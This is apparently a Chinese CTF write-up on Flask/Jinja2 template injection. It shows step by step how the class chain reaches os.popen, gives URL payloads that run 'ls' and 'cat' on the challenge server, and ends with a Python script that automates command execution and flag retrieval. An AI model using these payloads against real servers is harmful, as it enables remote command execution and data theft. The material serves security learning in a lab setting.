首页 web安全

1 Python----flask模板注入

1.1 验证是否存在该漏洞和利用

首先,题目告诉我们这是一个 python 注入问题,那么脚本肯定也是 python 的,思
考怎样用 python 语句获取控制台权限:想到了 os.systemos.popen ([参考资
料](https://blog.csdn.net/sxingming/article/details/52071514)), 这两句前
者返回 退出状态码 , 后者 以 file 形式 返回 输出内容, 我们想要的是
内容,所所以选择 os.popen
知道了要用这一句,那么我要怎么找到这一句呢?python 给我们提供了完整的寻找
链(参考资料):

__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ : 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ : 类的初始化方法
__globals__ : 对包含函数全局变量的字典的引用
  • 首先,找到当前变量所在的类:
111.198.29.45:57350/{{''.__class__}}

1.png
服务器回复:
URL http://111.198.29.45:57350/<type 'str'> not found 发现这个回复里已经告诉我们 这个变量的类是 'str' 了。

  • 接下来,从这个类找到它的基类:
http://111.198.29.45:57350/%7B%7B''.__class__.__mro__%7D%7D

服务器回复:
`URL http://111.198.29.45:57350/(<type 'str'>, <type 'basestrin
g'>, <type 'object'>) not found`
发现基类也有了。

  • 然后,通过基类来找其中任意一个基类的引用列表:
http://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__sub
classes__()%7D%7D

这里有个小细节,__mro__[] 中括号里填谁其实区别都不大,这些基类引用的
东西都一样。
服务器回复了很长的一个列表,我就不列举了,从其中可以找到我们想要
os 所在的 site._Printer 类,它在列表的第七十二位,
__subclasses__()[71]

  • 通过 __subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
    调用服务器的控制台 并显示 ,这下我们就可以随便用

控制台输出了。
直接填命令语句:

http://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

注意这里的 popen('ls').read() ,意思是 **得到 ls 的结果并读取给变量
** ,因此它会把当前目录所有文件都打印在我们的网页上,内容如下:
URL http://111.198.29.45:57350/fl4g index.py not found 从这里我们看到,flag 存在一个叫 fl4g 的无后缀文件里,那就好办了,再
构造一个 payload,用 cat 读一下内容:

ttp://111.198.29.45:57350/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

服务器回复:
`URL http://111.198.29.45:57350/ctf{f22b6844-5169-4054-b2a0-d95
b9361cb57} not found`
flag 到手

2 编写脚本

def search(url_1):
    #查找位置
    import requests
    url_2 = url_1 + "%7B%7B''.__class__.__mro__[2].__subclasses__()%7D%7D"
    a = requests.session()
    b = a.get(url_2)
    c = b.text
    d = c.split(',')
    j = 0
    for i in d:
        # print(i.find("site._Printer"))
        if i.find('site._Printer') > 0:
            return j
        j+=1
    return -1


def scandir(url,x):
    #找到本目录的文件
    import requests
    str_1 = "%7B%7B''.__class__.__mro__[2].__subclasses__()["
    str_2 = "].__init__.__globals__['os'].popen('ls').read()%7D%7D"
    e = requests.get(url + str_1 + str(x) + str_2)
    e = filter(e.text)
    return e


def filter(str):
    #过滤
    str = str.replace("<h1>",'')
    str = str.replace("</h1>", '')
    str = str.replace("<br/>", '')
    # str = str.replace("", '')
    str = str.replace("index.py", '')
    str = str.replace("not found", '')
    # str = str.replace("", '')
    return str

def flag(url,x,file):
    #获取flag
    import requests
    url_2 = "%7B%7B''.__class__.__mro__[2].__subclasses__()["
    url_3 = "].__init__.__globals__['os'].popen('"
    url_4 = "').read()%7D%7D"
    result = requests.get(url+url_2+str(x)+url_3+"cat "+file+url_4)
    d = filter(result.text)
    print(d)

url = "http://111.198.29.45:57350/"
x = search(url)
file = scandir(url,x)
flag(url,x,"fl4g")

3 参考资料

从零学习flask模板注入




文章评论